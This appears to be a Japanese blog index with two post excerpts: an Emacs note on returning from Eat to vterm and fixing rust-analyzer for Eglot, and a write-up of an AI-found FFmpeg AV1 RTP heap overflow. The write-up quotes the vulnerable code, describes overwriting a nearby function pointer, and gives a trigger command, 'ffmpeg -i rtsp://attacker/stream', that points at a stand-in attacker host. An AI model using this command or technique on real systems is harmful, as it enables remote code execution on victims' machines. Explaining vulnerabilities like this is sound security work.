日記 EatからVtermへ出戻りした話とかeglot(rust)動かない問題とか

TL;DR 以前vtermのC-kまわりの挙動を追いかけていて、その流れでEatへ移行していた 今回もう一度vtermの素の設定を試したところ、C-kは特別な回避策なしで普通に動いた Eatは実運用してみると自分のワークフローと噛み合わない部分がいくつかあり、結局vtermに出戻りすることにした 副次的にEglotでRustのサーバーが起動しない問題も出ていたので、原因と対処もついでにメモしておく 経緯 もともとvtermのC-kバインドを追いかけていたらEatに移行することになった話(wasutech, 2026-07-04)でvtermからEatへ移行していた。この記事は逆に、そのEatからvtermへ戻した記録になる。 ちなみに、上の記事内でEat移行のきっかけとしてリンクされていたのが、Ki_chi氏のEmacsのターミナルエミュレーターをvtermからEatに移行しました(Ki_chi@Blog, 2026-01-29)。 削除した設定 Eatのuse-packageブロック一式を削除した。内容としては、straight経由でのcodebergリポジトリ指定、eat-semi-char-non-bound-keysの除外リスト編集、eat-reload呼び出しなど。 復元したvterm設定 元記事内で「移行前の設定」として紹介されていたvterm用のuse-packageブロックをベースに復元した。 (defun my/vterm-send-C-k () "Send C-k to vterm terminal." (interactive) (let ((inhibit-read-only t)) (vterm-send-key "k" nil nil t))) (use-package vterm :straight t :bind (:map vterm-mode-map ("C-h" . vterm--self-insert) ("C-k" . my/vterm-send-C-k)) :bind (("C-c v" . vterm)) :config (setq vterm-term-environment-variable "xterm-256color")) defunをuse-packageより前に置いているのは、Emacs Lispが上から評価される言語だから。先に定義しておかないと、use-packageの:bindが参照する段階で未定義エラーになる。 my/vterm-send-C-k自体は、元記事の著者本人も根本原因は特定できなかったと明記している回避策で、いわば対症療法である。 実際に設定を戻してみたところ、C-kは回避策なしの素の状態で普通に動いた。以前この問題を追いかけていた時点との違い(Emacsのバージョン、vtermのバージョン、あるいは単に環境差)は特定できていないので、なぜ動くようになったのかは正直わかっていない。ただ動いている以上、今のところ回避策は入れずに使っている。 別件: eglot(rust-analyzer)が起動しない vterm/eatの話とは別件だが、ちょうど同じタイミングでEglotのRustサーバー起動に失敗する問題が出た。 原因は単純で、rustcとrust-analyzerはrustupのコンポーネントとして別扱いになっており、公式toolchainをインストールしただけではrust-analyzerは入らない。個別にインストールする必要がある。 rustup component add rust-analyzer これで解決した。 出戻りマップ 項目 Eat Vterm 未Git管理ディレクトリを開いたとき ディレクトリを聞かれてモヤっとする 特に気にならない レイアウト 崩れることがしばしばあった 安定している 実装 Emacs Lispのみで完結(要確認) libvterm(C)に依存 C-k 今回は未検証 素の設定で動作した 所感 Eatは実装がEmacs Lisp単体で完結しているというのは魅力的で、パッケージとしての完成度も高いと思う。とはいえ、自分の使い方だと未Git管理のディレクトリを開こうとしたときにディレクトリを聞かれたり、レイアウトがよく崩れたりすることがしばしばあり、実際に使ってみるとかえって煩わしさの方が勝ってしまった。Emacsで完結するツールとしては素晴らしいパッケージだと思うが、結果的には私にはvtermの方が合っていたので、恥ずかしながら出戻りすることになった。とはいえ、また別のターミナルエミュレータを試すかもしれないので、結論は一旦保留にしておく。今はvtermを使う。 ...

August 26, 2026 · 1 min

FFmpegの21連ゼロデイ事件とメモリ安全言語の話

元記事 21 Zero-Days in FFmpeg — For $1,000 セキュリティスタートアップのDepthfirst社が開発したAIエージェントが、FFmpegから21件の未公開脆弱性(ゼロデイ)を発見した。かかった費用はわずか1,000ドル。 人間が数ヶ月かけて監査する規模のコード(約150万行のC言語)を数日でスキャンし、実際にクラッシュやコード実行を起こせる実証コード(PoC)までAIが自動生成したらしい。 その中でもAV1 RTPデパケタイザのバグが、ハッカーにとって都合が良すぎる完璧な仕様だった。 特別なフラグも不要で、以下の ordinary なコマンドで罠URLを開かせるだけでリモートコード実行(RCE)が成立する。 ffmpeg -i rtsp://attacker/stream わずか183バイトのパケット1つでPCが乗っ取られる仕組みが面白かったのでメモ。 原因 トラック用カーソルの「勘違い」 問題は libavformat/rtpdec_av1.c のAV1 RTPデパケタイザ(パケット組み立て処理)にある。 AV1の仕様では、フレームの区切りを示す1バイトのマーカー Temporal Delimiter (TD) を「無視して削除(ignore and remove)」せよ、と書かれている。この処理部分のロジックがバグっていた。 FFmpegは、パケットの書き込み位置を制御するカーソル pktpos を動かしながら処理を行うが、TDを見つけたときに以下のような挙動をしていた。 // libavformat/rtpdec_av1.c:250 if ((obu_type == AV1_OBU_TEMPORAL_DELIMITER) || (obu_type == AV1_OBU_TILE_LIST)) { pktpos += obu_size; // 書き込みカーソル(矢印)だけを先に進める rem_pkt_size -= obu_size; // インプットカウンターを減らす obu_cnt++; continue; // メモリ確保(割り当て)は行わない! } データを無視する(メモリを確保しない)のに、書き込みカーソル(pktpos)だけを先に進めてしまった。これにより、確保されたサイズより遥か先を指す「ポイズンカーソル」が生まれる。 さらに、インプット側のポインタを進め忘れたため、次のループ処理で同じTDのデータを再パースし、攻撃者が用意した任意のデータを、はみ出た未来のメモリ番地へピンポイントに書き込める状態(ヒープバッファオーバーフロー)が完成する。 詳しくてちゃんとした解説については21 Zero-Days in FFmpeg — For $1,000の最後らへんを見てほしい。 綺麗すぎるメモリ配置 通常ならクラッシュして終わるが、FFmpegのアロケータの並びがハッカーにとってお宝だった。 動画データを置くバッファのすぐ隣(オフセット152)には、内部の管理用構造体 AVBuffer が隣接して割り当てられる決まりになっている。この中には、データの片付け(メモリ解放)を行うための「関数ポインタ」(void (*free)(...))が格納されている。 ...

June 13, 2026 · 1 min